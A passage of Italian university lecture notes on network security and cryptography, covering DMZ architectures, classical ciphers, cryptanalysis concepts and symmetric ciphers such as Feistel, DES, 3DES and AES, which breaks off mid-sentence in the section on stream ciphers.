=== De-Militarized Zone (DMZ)
Porzione di rete che non fa parte nè della rete esterna nè di quella
interna. Gli host in DMZ sono raggiungibili dall'esterno, ma sono
isolato dalla rete interna.
È un'area tra il border router e il bastion host.
#image("assets/37393db91e8a6538e46b9b9b2a75df4c.png")
=== Two-ledged network
Architettura che introduce la DMZ all'interno della rete.
Nella configurazione single-host garantisce pochissima sicurezza, perché
la DMZ è completamente esposta all'esterno, senza un firewall
intermedio.
#image("assets/0074eed1874778f34f82799242cf8db6.png")
=== Screened subnet
Evoluzione dell'architettura two-ledged network e screened-host gateway.
3 componenti che interagiscono tra loro:
- router esterno: filtra il traffico Internet $arrow.l.r$ DMZ,
consentendo solamente il transito dei pacchetti da e verso il bastion
host;
- router interno: protegge sia la rete interna da attacchi provenienti
da Internet, sia la DMZ da attacchi provenienti dalla rete interna;
- bastion host: si interpone tra i due router e la DMZ e regola il
traffico che passa tra queste diverse reti
#image("assets/d873ae9b4af0fcf6cc0a40fc638ab5fa.png")
=== Single-host vs dual host
Le architetture single-host sono poco costose e semplici da configurare
e da gestire, ma sono anche dei #strong[single point of failure].
== Segmentazione multipla
La rete interna viene ulteriormente segmentata in diverse sottoreti.
Ognuna di queste sottoreti adotta delle politiche di sicurezza
indipendenti.
Esempio nel contesto di un sito web:
- una rete per gestire la logica di presentazione (es. server HTTP);
- una rete per gestire la logica applicativa (es. application server);
- una rete per gestire i dati (es. DB)
#figure(
image("assets/1b5a34020ba5e4da8b2ffa94a6484330.png", height: 22%),
caption: [Segmentazione multipla]
)
= Lezione 9 - introduzione alla crittografia
L'informazione trasmessa su Internet è tipicamente non cifrata e non
autenticata, pertanto #strong[intrinsecamente insicura] per
#strong[scelta progettuale di Internet] stessa (agevolare la
condivisione di informazioni tra centri di ricerca e università). Oggi
però ci sono innumerevoli servizi che si basano su Internet ma che hanno
bisogno di garanzie di riservatezza ed autenticità (es. Internet
banking, ecc.).
Garanzie di sicurezza che si cercano:
- #strong[confidenzialità]: l'informazione dev'essere interpretabile
solo dall'effettivo destinatario;
- #strong[integrità]: il destinatario deve avere modo di verificare che
il messaggio non sia stato alterato rispetto a quello inviato dal
mittente;
- #strong[autenticità]: il destinatario deve avere modo di verificare
che il messaggio sia stato effettivamente mandato dal mittente e non
da qualcuno che si spaccia per lui;
- #strong[autorizzazione]: i dati devono essere protetti rispetto ad un
utilizzo non autorizzato;
- #strong[non repudiabilità]: impossibilità per il mittente di rinnegare
di aver mandato un messaggio (e per il destinatario di averlo
ricevuto)
== Crittologia
Scienza delle scritture segrete.
Si divide in 3 argomenti:
- #strong[crittografia]: studia come proteggere i dati
#strong[manipolando] l'informazione;
- #strong[steganografia]: studia come proteggere i dati
#strong[nascondendo] l'informazione;
- #strong[crittoanalisi]: studia come #strong[violare] la riservatezza
de messaggi crittografati o steganografati senza possedere la chiave
di decifratura
=== Crittografia
Un #strong[crittosistema] è una quitupla
$lr((E comma D comma M comma K comma C))$ dove:
- $M$ è il testo in chiaro (#strong[plaintext]);
- $K$ è l'insieme delle chiavi;
- $C$ è il testo cifrato (#strong[ciphertext]);
- $E$ è una funzione di cofratura tale che $E lr((M comma K)) eq C$;
- $D$ è una funzione di decifratura tale che $D lr((C comma K)) eq M$
==== Sicurezza incondizionata
Uno schema di cifratura si dice #strong[incondizionatamente sicuro] se
il testo cifrato che genera non contiene informazioni sufficienti per
risalire al testo originale, indipendentemente dalla quantità di testo
cifrato a disposizione.
Con l'eccezione dello schema #strong[one-time pad], nessun algoritmo di
cifratura è incondizionatamente sicuro.
Le comunicazioni top-secret (diverse dalle comunicazioni segrete) devono
utilizzare schemi di cifratura incondizionatamente sicuri.
Ogni sistema basato su #strong[ripetizione] è crittoanalizzabile. La
forza del one-time pad sta proprio nel non usare ripetizione.
==== Sicurezza computazionale
Nella pratica, la sicurezza di uno schema si basa su:
- il #strong[costo] per crittoanalizzare il messaggio;
- il #strong[tempo] necessario per crittoanalizzare il messaggio;
Uno schema di cifratura è detto #strong[computazionalmente sicuro] se:
- la crittoanalisi del messaggio costa più rispetto al valore del
messaggio stesso, oppure
- la crittoanalisi del messaggio richiede più tempo di quello per cui il
messaggio è utile
==== Crittografia classica e moderna
Storicamente, la crittografia si divide in:
- crittografia classica: fino all'avvento dei computer. Si basava
sull'utilizzo di tecniche di #strong[sostituzione] (confusione) e/o
#strong[trasposizione] (diffusione);
- crittografia moderna: si basa su tecniche di sostituzione,
trasposizione ed eventualmente su #strong[problemi matematici]. Tutti
gli algoritmi di crittografia moderna sono implementati al computer.
==== Crittografia simmetrica e asimmetrica
Gli algoritmi di cifratura si dividono in: - algoritmi
#strong[simmetrici] (si usa la stessa chiave per cifrare e decifrare); -
algoritmi #strong[asimmetrici] (si usano chiavi diverse per cifrare e
decifrare)
=== Crittoanalisi
Il crittoanalista ha il compito di #strong[violare] i messaggi cifrati,
o almeno scoprire i punti deboli degli algoritmi di cifratura
utilizzati.
Gli attacchi di crittoanalisi si basano su:
- tipologia dell'#strong[algoritmo] usato per la cifratura;
- tipologia della #strong[chiave] usata per la cifratura;
- #strong[natura del testo] (es. lingua, codifica, informazioni
contenute, ecc.);
- corrispondenza conosciuta tra testo in chiaro e testo cifrato (es.
conoscenza di alcune parole in determinate posizioni)
==== Attacchi a dizionario per le password
Una password di almeno 8 caratteri garantirebbe un buon livello di
sicurezza rispetto ad attacchi a forza bruta.
Tuttavia non è sufficiente basarsi sulla lunghezza della password per
valutare la sua sicurezza. Un crittoanalista può infatti utilizzare
altre informazioni per ricavare la password, quali:
- conoscenza di dati personali della vittima;
- uso di #strong[dizionari] con parole (o frammenti di parole) di senso
compiuto
Per poter considerare sicura una password, quindi:
- dev'essere lunga almeno 8 caratteri;
- non deve contenere parole (o frammenti di parole) di senso compiuto in
nessuna lingua
==== Attacchi a forza bruta
Il crittoanalista prova #strong[tutte le possibili combinazioni di
chiave] finché non riesce ad ottenere un testo in chiaro comprensibile.
In media è sufficiente provare #strong[la metà] delle combinazioni
totali per avere successo.
La sicurezza di uno schema rispetto ad attacchi a forza bruta dipende:
- dal #strong[numero di simboli] usati nella combinazione;
- dal #strong[numero di possibilità] per ogni combinazione;
- dal #strong[tempo] richiesto per provare ogni combinazione
==== Metodi di crittoanalisi moderna
+ crittoanalisi #strong[statica]: sfrutta debolezze nel linguaggio del
testo originale e del cifrario che mantiene alcune caratteristiche
statistiche (es. frequenza delle lettere);
+ attacchi a forza bruta: sfrutta la debolezza dovuta al numero limitato
di combinazioni del cifrario;
+ crittoanalisi matematica: sfrutta debolezze nell'algoritmo matematico
sottostante ad un cifrario;
+ attacchi al software;
+ social engineering: sfrutta la #strong[debolezza umana]
=== Steganografia
La steganografia non trasforma il contenuto dei messaggi, ma nasconde
l'esistenza stessa del messaggio agli occhi di un osservatore qualsiasi.
Un #strong[acrostico] è un esempio di steganografia.
La steganografia moderna fa ampio uso della #strong[codifica binaria].
Due interlocutori possono utilizzare la steganografia per inviarsi dei
messaggi nascosti all'interno di #strong[file di copertura], tipicamente
in formato multimediale.
Modificando pochi bit del file multimediale infatti è possibile inserire
un messaggio nascosto al suo interno, ma allo stesso tempo non si altera
troppo il contenuto multimediale.
Una delle tecniche impiegate dai programmi di steganografia consiste
proprio nel sostituire i bit meno significativi di un'immagine con i bit
che costituiscono il file/messaggio segreto.
Più le dimensioni del file di copertura sono grandi e più grande è il
messaggio che si può nascondere al suo interno.
Alcuni tool di steganografia:
- `Stegano.exe` (molto semplice da usare, poco adatto a trasmissioni
"serie");
- `Steghide` e `SilentEye` (per le immagini);
- `MP3stego` (per file audio)
Il #strong[watermarking] è un esempio di steganografia utilizzata per
proteggere il #strong[copyright] di file multimediali in rete. Il
watermarking può essere sia visibile che invisibile.
La steganografia si può combinare con la cifratura.
= Lezione 10 - crittografia classica
Il livello di segretezza di un testo cifrato dipende da 2 fattori:
- #strong[cifrario] (algoritmo) utilizzato, che nella crittografia
classica veniva mantenuto segreto;
- #strong[complessità della chiave], che determina il modo con cui il
messaggio viene cifrato
I cifrari classici utilizzano sempre degli #strong[algoritmi simmetrici]
e si basano su operazioni di #strong[sostituzione] e/o
#strong[trasposizione]:
- i cifrari a sostituzione consistono nel #strong[sostituire] ogni
lettera con un'altra (es. cifrario di Cesare: ogni lettera viene
shiftata di $n$ posizioni);
- i cifrari a trasposizione consistono nel #strong[permutare] i
caratteri all'interno di una parola (es. formando degli
#strong[anagrammi])
== Differenza tra codifica e cifratura
Per rendere segreto un messaggio, si utilizza un #strong[alfabeto
sostitutivo].
Tutti i destinatari autorizzati a leggere il messaggio devono avere una
copia dell'alfabeto sostitutivo, o almeno un modo per poterlo
ricostruire (es. tramite una chiave).
- nella #strong[codifica], l'alfabeto sostitutivo utilizza simboli
diversi rispetto all'alfabeto originale;
- nella #strong[cifratura], l'alfabeto sostitutivo utilizza gli stessi
simboli di quello originale
== Cifrari a sostituzione
=== Algoritmi di shifting (es. Cesare, ecc.)
L'alfabeto sostitutivo utilizza delle lettere shiftate in avanti di $n$
posizioni.
In un alfabeto da 26 lettere, dato un carattere in chiaro $x$, il
corrispondente carattere cifrato $y$ cifrato si ottiene in questo modo:
$ y eq lr((x plus n)) #h(0em) mod med 26 $
La chiave per ricostruire l'alfabeto sostitutivo è $n$ stesso.
In un alfabeto da 26 lettere ci sono solo 25 possibilità di rotazione,
quindi 25 possibili chiavi. La crittoanalisi a forza bruta quindi
risulta particolarmente semplice.
=== Cifrari affini
Generalizzazione del cifrario di Cesare dove si introduce un
coefficiente moltiplicativo $a$ che è #strong[primo] con il numero di
lettere dell'alfabeto. $ y eq lr((a x plus n)) #h(0em) mod med 26 $
=== Cifrario basato su alfabeto sostitutivo
L'alfabeto sostitutivo si ottiene tramite una #strong[rotazione casuale]
di #strong[tutte] le lettere:
#image("assets/a15caecedd49edf45503ae587d2ee67e.png")
In questo caso la chiave è l'intero alfabeto sostitutivo.
In alternativa si può introdurre una #strong[chiave] che "riassume" la
modifica fatta all'alfabeto originale:
#image("assets/7ee1b8aba5eec04985f7ac560db353b9.png")
Entrambe le modalità hanno la stessa robustezza. Si preferisce usare
quella con chiave per una maggiore semplicità di gestione (i
partecipanti devono solo scambiarsi la chiave, non l'intero alfabeto).
I cifrari basati su alfabeto sostitutivo sono molto più resistenti ad
attacchi brute force (per 26 lettere ci sono $26 excl$ possibili
combinazioni), ma sono vulnerabili a crittoanalisi #strong[statistica].
La semplice tecnica di sostituzione #strong[mono-alfabetica] non
modifica le #strong[frequenze] relative alle lettere.
== Crittoanalisi statistica
Consiste nello sfruttare delle #strong[statistiche della lingua] per
riuscire a crittoanalizzare un messaggio, ad esempio:
- frequenza delle lettere, dei bigrammi e dei trigrammi (es. `the` in
inglese);
- affinità e repulsione tra lettere (es. in italiano la lettera `Q` è
sempre seguita da una `U` e la lettera `N` non è mai seguita da una
`P`);
- aspetti semantici (es. soggetto-verbo-complemento in italiano)
Tutti i cifrari monoalfabetici sono vulnerabili a crittoanalisi
statistica, perché non mascherano l'#strong[identità] di una lettera.
== Cifrari misti e poli-alfabetici
=== Nomenclatori
Tecnica che combinava sia cifratura che codifica:
- le lettere venivano permutate;
- alcune parole di uso comune venivano sostituite da caratteri runici
Nel corso dei secoli i simboli dei nomenclatori aumentarono sempre di
più, rendendone anche più complicata la gestione.
=== Cifrari per sostituzione omofonica
Ogni lettera può essere sostituita da un altro elemento appartenente ad
un insieme di $n$ simboli, dove $n$ è proporzionale alla frequenza della
lettera.
Lo scopo di questa tecnica è #strong[appiattire] la distribuzione delle
frequenze in modo da non rendere più efficacie la loro analisi.
==== Le grand Ciffre
Esempio di cifrario per sostituzione omofonica.
Utilizzava un #strong[libro codice] che definiva:
- un simbolo per ogni lettera dell'alfabeto francese più comune;
- un simbolo per ogni sillaba dell'alfabeto francese più comune
=== Cifrario Playfair
Cifra dei #strong[bigrammi] anziché lettere singole.
Più robusto alla crittoanalisi per frequenza perché ci sono $26^2$
possibili bigrammi anziché solo 26 lettere.
È stato ritenuto sicuro per diversi secoli, ma con l'avvento dei
computer si è dimostrato essere meno sicuro di quanto ipotizzato.
== Cifrari poliaflabetici
Utilizzano più alfabeti di sostituzione anziché uno solo.
L'$i$-esima lettera viene sostituita con l'$i$-esimo alfabeto.
I cifrari polialfabetici sono più resistenti alla crittoanalisi per
frequenza, grazie all'uso di alfabeti diversi.
=== Cifrario di Vigenère
Cifrario di Cesare multiplo.
Si utilizza una chiave di $d$ lettere:
$K eq k_1 comma k_2 comma dot.basic dot.basic dot.basic comma k_d$, dove
l'$i$-esima lettera specifica l'$i$-esimo alfabeto da utilizzare.
Si utilizza quindi #strong[un alfabeto per ogni lettera da cifrare].
Per semplificare le operazioni di cifratura e decifratura, Vigenère
propose l'uso della #strong[tavola di Vigenère]. Consisteva in una
#strong[matrice quadrata] dove in ogni riga c'è un alfabeto shiftato di
una posizione rispetto alla riga precedente:
#image("assets/50949eaf0c454314b0aac41c338046d8.png")
L'incrocio tra l'$i$-esima lettera da cifrare (nella 1° riga) con
l'$i$-esima lettera della chiave (1° colonna) contiene il carattere
cifrato.
Il cifrario di Vigenère è stato considerato sicuro per diversi secoli,
nonostante la difficoltà nella gestione dovuta alla scarsa praticità
della tabella.
Il punto debole dell'algoritmo sta nella #strong[lunghezza della
chiave]: due lettere cifrate a distanza $n$ (con $n$ lunghezza della
chiave) sono cifrate con lo stesso alfabeto.
=== Crittoanalisi per cifrari polialfabetici
+ identificare la lunghezza $L$ della chiave;
+ suddividere il testo cifrato in blocchi da $L$ caratteri;
+ applicare a ciascun blocco un algoritmo di crittoanalisi per frequenza
Per risalire alla lunghezza della chiave:
+ ricercare #strong[sequenze di caratteri identici] nel testo cifrato;
+ calcolare la distanza $t$ tra gli #strong[inizi] di queste sequenze;
+ identificare #strong[tutte] le sequenze identiche nel testo cifrato e
calcolare le varie distanze
$t_1 comma t_2 comma dot.basic dot.basic dot.basic comma t_k$;
+ la lunghezza della chiave è un multiplo di tutti questi $t_i$, quindi
$L eq M C D lr((t_1 comma t_2 comma dot.basic dot.basic dot.basic comma t_k))$.
=== Cifrari auto-chiave
Per risolvere la debolezza dovuta alla lunghezza della chiave, Vigenère
proposte l'uso di una chiave lunga quanto il testo da cifrare:
- si sceglie una chiave;
- la si concatena al testo da cifrare;
- la stringa così ottenuta è la chiave con cui cifrare il testo
Questi cifrari sono comunque soggetti a caratteristiche di frequenza
(che stavolta stanno nella chiave) che permettono la crittoanalisi
statistica.
=== One Time Pad
Principi base:
- la chiave è #strong[lunga quanto il testo] da cifrare;
- la chiave dev'essere scelta in modo #strong[completamente casuale]
(non è sufficiente concatenare una parola al testo da cifrare);
- non si deve mai riutilizzare la stessa chiave
Si tratta dell'unico schema #strong[incondizionatamente sicuro] perché
non usa mai ripetizione.
L'OTP presenta alcuni problemi quando lo si cerca di implementare:
- generare grandi quantità di chiavi #strong[realmente casuali] è molto
complicato;
- difficoltà nel #strong[distribuire] a tutti gli interlocutori blocchi
sufficientemente lunghi di chiavi per poter cifrare i messaggi
- e successiva difficoltà nel gestire la #strong[sincronizzazione] tra
i diversi interlocutori (quando qualcuno utilizza una chiave, tutti
gli altri NON devono mai più riutilizzarla);
- protezione del "pad" (i.e.~un taccuino con tutte le chiavi) da
copie/furti
==== Problema del riutilizzo della chiave
Supponendo di usare la stessa chiave per 2 messaggi:
- $C_1 eq M_1 xor K$;
- $C_2 eq M_2 xor K$
Se il crittoanalista intercetta $C_1$ e $C_2$ può sfruttare questa
proprietà dello XOR:
$ C_1 xor C_2 eq lr((M_1 xor K)) xor lr((M_2 xor K)) eq M_1 xor M_2 $
Mediante tecniche di crittoanalisi statistica, se i messaggi sono
sufficientemente lunghi è possibile ricavare $M_1$ ed $M_2$.
==== OTP e computer
Con l'avvento dei computer è diventato molto semplice generare dei
numeri #strong[pseudo-casuali].
OTP implementati attraverso generazione di numeri pseudo-casuali però
non sono inviolabili (i numeri devono essere scelti in maniera
#strong[realmente casuale]).
== Cifrari per trasposizione
L'obiettivo della sostituzione è la #strong[confusione], ovvero rendere
difficile capire come il messaggio è stato cifrato.
L'obiettivo della trasposizione è la #strong[diffusione]: le
informazioni nel messaggio vengono #strong[sparse] nel messaggio cifrato
in modo da eliminare la debolezza alla crittoanalisi delle adiacenze.
Esempio: trasposizione colonnare:
- si scrive il messaggio in chiaro suddividendolo in diverse righe
ciascuna composta da un numero fissato di caratteri;
- il messaggio cifrato lo si ottiene leggendo i caratteri #strong[per
colonne]
#image("assets/ae8e7cac9b869eb61889573e4916d93b.png")
Altro esempio: lo scitale, usato dagli spartani.
== Cifrari prodotto
Consiste nella combinazione di due o più tecniche di cifratura (es.
sostituzione e trasposizione).
Se si esegue una sostituzione e poi una trasposizione, si ottiene un
cifrario completamente nuovo e molto più robusto rispetto al ripetere
più volte la stessa operazione.
Questa combinazione rappresenta il ponte tra la crittografia classica e
quella moderna.
=== Algoritmo ADFGVX
Costituito da 2 fasi:
- la fase di sostituzione consiste nel sostituire ogni lettera del testo
in chiaro con una #strong[coppia] di lettere, a partire da una tabella
di sostituzione (sempre uguale);
#image("assets/86407b173d2be8e157538c5345a19958.png")
- la fase di trasposizione è basata su una chiave. Consiste nello
scrivere il messaggio su più righe, ciascuna delle quali di lunghezza
pari alla chiave, per poi leggere per colonne la tabella così ottenuta
#image("assets/51dc64c7ccabafe37171b92a754affce.png")
Questo algoritmo è molto più robusto dei precedenti, ma ha ancora dei
margini di miglioramento:
- effettua un solo passo di sostituzione e trasposizione;
- la tabella di sostituzione è fissa e non dipende dalla chiave
== Code talkers (e.g.~"parlare in codice")
Meccanismo alternativo alla crittografia nato a seguito della diffusione
dei nuovi mezzi di comunicazione.
= Lezione 11 - crittografia simmetrica
== Macchine cifranti e avvento dei computer
Le #strong[macchine cifranti] sono state introdotte a partire dal 1908
per #strong[automatizzare] multipli step di sostituzione e
trasposizione.
Nelle #strong[macchine a rotori], la chiave era la posizione iniziale di
questi rotori.
Con l'avvento dei computer:
- è stato possibile automatizzare il processo di cifratura;
- la #strong[crittoanalisi per forza bruta] ritorna rilevante, anche per
misurare la robustezza di un cifrario;
- tutto diventa in #strong[formato binario], quindi tutto è cifrabile
(non c'è differenza tra testo, video, ecc.)
== Principio di Kerchoff della crittografia moderna
Se le chiavi sono #strong[segrete] e di #strong[lunghezza adeguata],
allora non ha importanza mantenere segreti gli algoritmi di
crittografia, perché:
- la crittoanalisi non ha bisogno di conoscere gli algoritmi;
- rendere l'algoritmo pubblico aiuta a rilevare il prima possibile
eventuali debolezze
== Cifrari a blocco
Operano su un #strong[blocco] di testo in chiaro di $n$ bit e producono
un blocco cifrato di $n$ bit.
I cifrari a blocchi appaiono come un processo di #strong[sostituzione]
di tutti i bit del blocco:
#image("assets/b729f5e9e1df26a68e00d9a8f76f5f22.png")
Con un blocco di $n$ bit ci sono $2^n$ possibili blocchi in chiaro.
Affinché il processo di cifratura sia invertibile:
- ogni blocco in chiaro deve dare origine ad #strong[un solo] blocco
cifrato;
- due blocchi in chiaro non devono generare lo stesso blocco cifrato
quindi con un blocco da $n$ bit ci sono $2^n excl$ possibili blocchi
cifrati.
=== Cifrario a blocchi ideale
Cifrario che permette di avere il massimo numero di possibili cifrature
per un blocco da $n$ bit, ovvero $2^n excl$.
La chiave per la cifratura è la tabella che associa ogni possibile
blocco in chiaro con il corrispondente blocci cifrato:
#figure(
image("assets/e2cf70f89730a03cc5249a2983747768.png", height: 35%),
caption: [Mapping plaintext $->$ ciphertext]
)
Problemi di questo cifrario:
- è equivalente ad un classico meccanismo di #strong[sostituzione],
dunque vulnerabile a crittoanalisi statistica per $n$ sufficientemente
grandi;
- la lunghezza della chiave è data da $n times 2^n$ ($2^n$ righe nella
tabella con $n$ bit per ogni riga) ed è una dimensione
#strong[spropositata] (se $n eq 64$, la dimensione della chiave è
$64 times 2^64$ bit \= $1 comma 4 times 10^11$ GB)
=== <NAME>
Nel 1949 Shannon teorizzò che un algoritmo di cifratura sicuro deve
possedere due proprietà fondamentali:
- #strong[confusione]: la relazione tra la chiave e il testo cifrato
dev'essere quanto più complessa e non correlata possibile in modo da
non poter risalire alla chiave conoscendo solo il testo cifrato.
Questo si ottiene utilizzando degli algoritmi di #strong[sostituzione]
molto complessi;
- #strong[diffusione]: l'algoritmo deve distribuire le
#strong[correlazioni statistiche] del testo lungo tutto l'alfabeto
utilizzato dall'algoritmo di cifratura, rendendo il più complessi
possibile attacchi di crittoanalisi statistica. In altre parole, ogni
bit del testo cifrato dev'essere influenzato da tanti bit, in posti
diversi, del testo in chiaro. Si ottiene applicando varie
#strong[permutazioni] sui dati in ingresso
=== <NAME> Feistel
Ideato nel 1973.
Basato sulle idee di Shannon e sul cifrario prodotto.
Il cifrario di Feistel mira a risolvere i problemi del cifrario a
blocchi ideale.
Questo cifrario alterna #strong[sostituzioni] e #strong[permutazioni].
La chiave usata è lunga $k$ bit per un blocco da $n$ bit (\= $2^k$
possibili trasformazioni anziché $2^n excl$ come nel cifrario ideale).
Il cifrario di Feistel utilizza 3 funzioni base:
- #strong[S-Box]: funzione che effettua la #strong[sostituzione] dei
bit;
- XOR;
- #strong[P-Box]: funzione per la #strong[permutazione] dei bit
==== Algoritmo
+ il blocco da $n$ bit viene suddiviso in 2 parti, una sinistra (`L`) ed
una destra (`R`);
+ queste due parti vengono elaborate per un certo numero di cicli. Ogni
ciclo esegue:
+ una #strong[sostituzione] sulla parte sinista, utilizzando l'output
di una funzione applicata alla parte destra;
+ una #strong[permutazione] che va a scambiare le due metà
==== Variante Lucifer
Variante rafforzata del cifrario di Feistel.
- l'input è un testo in chiaro di $2 w$ bit;
- utilizza una chiave $K$;
- utilizza una funzione $F$ che seleziona alcuni bit, ne duplica altri e
li permuta
Nell'$i$-esimo ciclo si ha:
- input $L_(i minus 1)$, $R_(i minus 1)$, chiave $K_i$ (derivata da
$K$);
- si applica una #strong[sostituzione] sulla parte sinistra:
- $L_i eq L_(i minus 1) xor F lr((R_(i minus 1) comma K_i))$;
- si applica una #strong[permutazione] che scambia parte sinistra con
parte destra
Alla fine, il testo cifrato è dato dalla concatenazione di
$L_(n plus 1)$ con $R_(n plus 1)$.
==== Sicurezza
La sicurezza del cifrario di Feistel dipende da:
- #strong[dimensione del blocco]: + dimensione \= + sicurezza, -
velocità dell'algoritmo. Tradizionalmente si usano blocchi da 64 bit;
- #strong[dimensione della chiave]: + dimensione \= + sicurezza, -
velocità dell'algoritmo. Tradizionalmente si usa una chiave di 64 bit
(Lucifer ne usava una da 128 bit). Cifrari con chiave di dimensione
$lt$ 64 bit sono considerati insicuri;
- #strong[numero di cicli]: pochi cicli sono inadeguati per la
sicurezza, ma troppi cicli sono inutili. Tipicamente si usano 16
cicli;
- #strong[funzione F]: + complessità \= + robustezza rispetto alla
crittoanalisi
==== Decifratura
L'algoritmo di decifratura è lo stesso della cifratura, ma si utilizzano
le chiavi $K_1 comma dot.basic dot.basic dot.basic comma K_n$ in ordine
inverso.
Questa è una proprietà fondamentale che verrà "tramandata" anche a tutti
gli algoritmi basati sul cifrario di Feistel, in quanto consente di non
dover progettare due algoritmi distinti per cifratura e decifratura.
=== Cifrario DES
Sviluppato verso la metà degli anni '70, è stato destinato all'utilizzo
da parte del pubblico nel 1997.
Fino al 1994 esistevano solo implementazioni hardware.
L'algoritmo in realtà dovrebbe essere chiamato #strong[Data Encryption
Algorithm] (DEA). DES è soltanto il nome dello standard.
Il cifrario DES utilizza blocchi da 64 bit e chiavi da 64 bit (anche se
in realtà sono 56, perché 8 bit della chiave sono utilizzati per il
controllo di parità).
==== Algoritmo
Il cifrario DES è molto simile in struttura a quello di Feistel:
+ si esegue una permutazione iniziale;
+ si eseguono 16 cicli che applicano sia sostituzioni (S-Box) che
permutazioni (P-Box);
+ parte destra e sinistra dell'output si scambiano per ottenere un
#strong[pre-output];
+ il pre-output viene inviato all'#strong[inversa] della funzione di
permutazione iniziale
Per ognuno dei 16 cicli, si genera una chiave $K_i$ #strong[sempre
diversa], di lunghezza 48 bit, tramite i seguenti passi:
+ si prendono 56 bit dalla chiave $K$, scartando l'ultimo bit di ogni
byte;
+ si suddivide la chiave in 2 parti;
+ si effettua uno #strong[shift circolare] a sinistra;
+ si passa l'output ad una #strong[funzione di permutazione e
contrazione] che restituisce un output di 48 bit (dai 56 iniziali);
+ si espande la parte destra del blocco da cifrare (32 bit) a 48 bit;
+ si effettua lo XOR tra parte destra e chiave da 48 bit
L'algoritmo per la decifratura è lo stesso della cifratura.
==== Robustezza di DES
Inizialmente si mise in dubbio la reale sicurezza di DES, dato l'uso di
chiavi a soli 56 bit (quando Lucifer ne utilizzava una da 128). Si
riteneva infatti che una chiave di queste dimensioni non fosse sicura
rispetto ad attacchi a forza bruta, ma all'epoca non si avevano risorse
sufficienti per poterlo dimostrare.
Queste critiche erano motivate anche dal fatto che una parte
dell'algoritmo era stata mantenuta #strong[segreta] dal NIST.
A parte le dietrologie, anche gli attacchi più potenti hanno dimostrato
che DES utilizza una struttura molto robusta. Le sue versioni successive
sono ben lontane dall'essere violate da attacchi a forza bruta.
La robustezza principale di DES sta nel suo significativo
#strong[effetto valanga] (come da idea di Shannon): tanti bit nel testo
in chiaro influenzano un singolo bit del testo cifrato.
Dal 1999 ormai DES è utilizzato solo per sistemi legacy, mentre per il
resto si usa 3DES oppure AES.
=== Double DES
Primo tentativo fatto dal NIST per potenziare DES.
Prevede l'utilizzo di due chiavi: $K_1$ e $K_2$.
Il messaggio cifrato $C$ si ottiene effettuando #strong[due cifrature]
DES: $ C eq E lr((K_2 comma E lr((K_1 comma P)))) $
analogamente, per decifrare si eseguono due decifrature (con le chiavi
al contrario): $ P eq D lr((K_1 comma D lr((K_2 comma C)))) $
L'idea del 2DES è quella di avere una robustezza pari a quella che si
avrebbe con l'utilizzo di una chiave singola da 112 bit (56 + 56 bit).
In realtà così non è, si è dimostrato infatti che la difficoltà
dell'analisi a forza bruta è solo raddoppiata (da $2^56$ a $2^57$).
==== Attacco meet-in-the-middle
Attacco per trovare la chiave usata da 2DES, conoscendo il testo in
chiaro $P$ e la sua cifratura $C$.
Per com'è strutturato 2DES, vale:
- $C eq E lr((K_2 comma E lr((K_1 comma P))))$;
- $X eq E lr((K_1 comma P)) eq D lr((K_2 comma P))$
quindi, per trovare la chiave:
+ si cifra $P$ per tutti i possibili $2^56$ valori di $K_1$;
+ si memorizzano i risultati in una tabella ordinata per valore di $X$;
+ si decifra $C$ utilizzando tutti i possibili $2^56$ valori di $K_2$;
+ per ogni valore restituito, si controlla se c'è un valore
corrispondente nella tabella creata al punto 2;
+ se questo valore esiste, è stata trovata anche la chiave
Possibile soluzione: utilizzo di 3 passi di cifratura con 3 chiavi
differenti.
Problema: lunghezza complessiva della chiave di 168 bit ($56 times 3$),
impraticabile per la tecnologia dell'epoca.
=== Triple DES (3DES)
Evoluzione di 2DES.
Utilizza una coppia di chiavi $K_1$ e $K_2$, ma si applicano in 3
operazioni di encrypt-decrypt-encrypt:
$ C eq E lr((K_1 comma D lr((K_2 comma E lr((K_1 comma P)))))) $
3DES è un'alternativa molto popolare a DES. Ha il grandissimo vantaggio
di essere retrocompatibile con il DES base, infatti:
$ C eq E lr((K_1 comma D lr((K_1 comma E lr((K_1 comma P)))))) eq E lr((K_1 comma P)) $
3DES è molto più robusto di DES, con un #strong[livello di sicurezza]
stimato in $2^80$ bit (che sarebbe sufficiente ancora oggi per molte
applicazioni).
Oggi sarebbe possibile incrementare ancora di più il livello di
sicurezza di 3DES utilizzando 3 chiavi anziché 2:
$ C eq E lr((K_3 comma D lr((K_2 comma E lr((K_1 comma P)))))) $
portando il livello di sicurezza a $2^112$.
Quest'ultimo cifrario è alla base di molte applicazioni Internet (es.
PGP e S/MIME).
Presenta comunque alcuni problemi:
- implementazione poco efficiente;
- limitato a blocchi di 64 bit, ormai troppo piccoli per le tipiche
dimensioni delle comunicazioni attuali
=== AES
Algoritmo scelto come standard USA nel 2001 per rimpiazzare DES.
Molto efficiente e facile da implementare a livello software.
Utilizza blocchi da 128 bit. Rispetto a DES e Feistel, non divide il
blocco a metà ma opera sempre con l'intero blocco.
4 cicli:
+ sostituzione dei bit del blocco, sfruttando una tabella di
sostituzione;
+ shift delle righe;
+ mescolamento delle colonne;
+ aggiunta della sottochiave
Ogni passo è ripetuto diverse volte in base alla dimensione della chiave
utilizzata.
==== Algoritmo
La chiave e il blocco da cifrare vengono rappresentati con una matrice
di $4 times 4$ byte.
Le matrici di byte che rappresentano le varie trasformazioni dei blocco
di testo in chiaro iniziale vengono chiamati #strong[stati].
Si genera poi una chiave $K_1$ (partendo dalla chiave $K$) e si cifra
ogni byte della matrice.
Successivamente si eseguono un certo numero di cicli. Ogni ciclo esegue
le seguenti operazioni:
+ ogni byte della matrice viene sostituito secondo una tabella di
sostituzione;
#image("assets/AES-SubBytes.svg")
+ ogni riga della matrice viene #strong[shiftata verso sinistra]. Il
numero di posizioni di cui ogni byte viene shiftato è dato da
`numeroRiga - 1`;
#image("assets/AES-ShiftRows.svg")
#block[
#set enum(numbering: "1.", start: 3)
+ si esegue una #strong[sostituzione per colonne] dei byte nella matrice
(ogni colonna è sostituita in funzione dei byte presenti nella colonna
stessa). Quest'ultimo passo viene saltato dall'ultimo ciclo;
]
#image("assets/AES-MixColumns.svg")
#block[
#set enum(numbering: "1.", start: 4)
+ si genera una chiave $K_i$ e si cifra, tramite XOR, ogni byte della
matrice
]
#image("assets/AES-AddRoundKey.svg")
== Cifrari a flusso
Lavorano tipicamente su un byte alla volta anziché su blocchi da $n$
bit.
Ad ogni passo viene generata una chiave pseudo-casuale, chiamata
#strong[stream key].
Il corrispondente byte cifrato si ottiene mediante XOR del byte del
testo in chiaro con la stream key.
Con questo approccio, conoscendo solo due componenti (testo in charo e/o
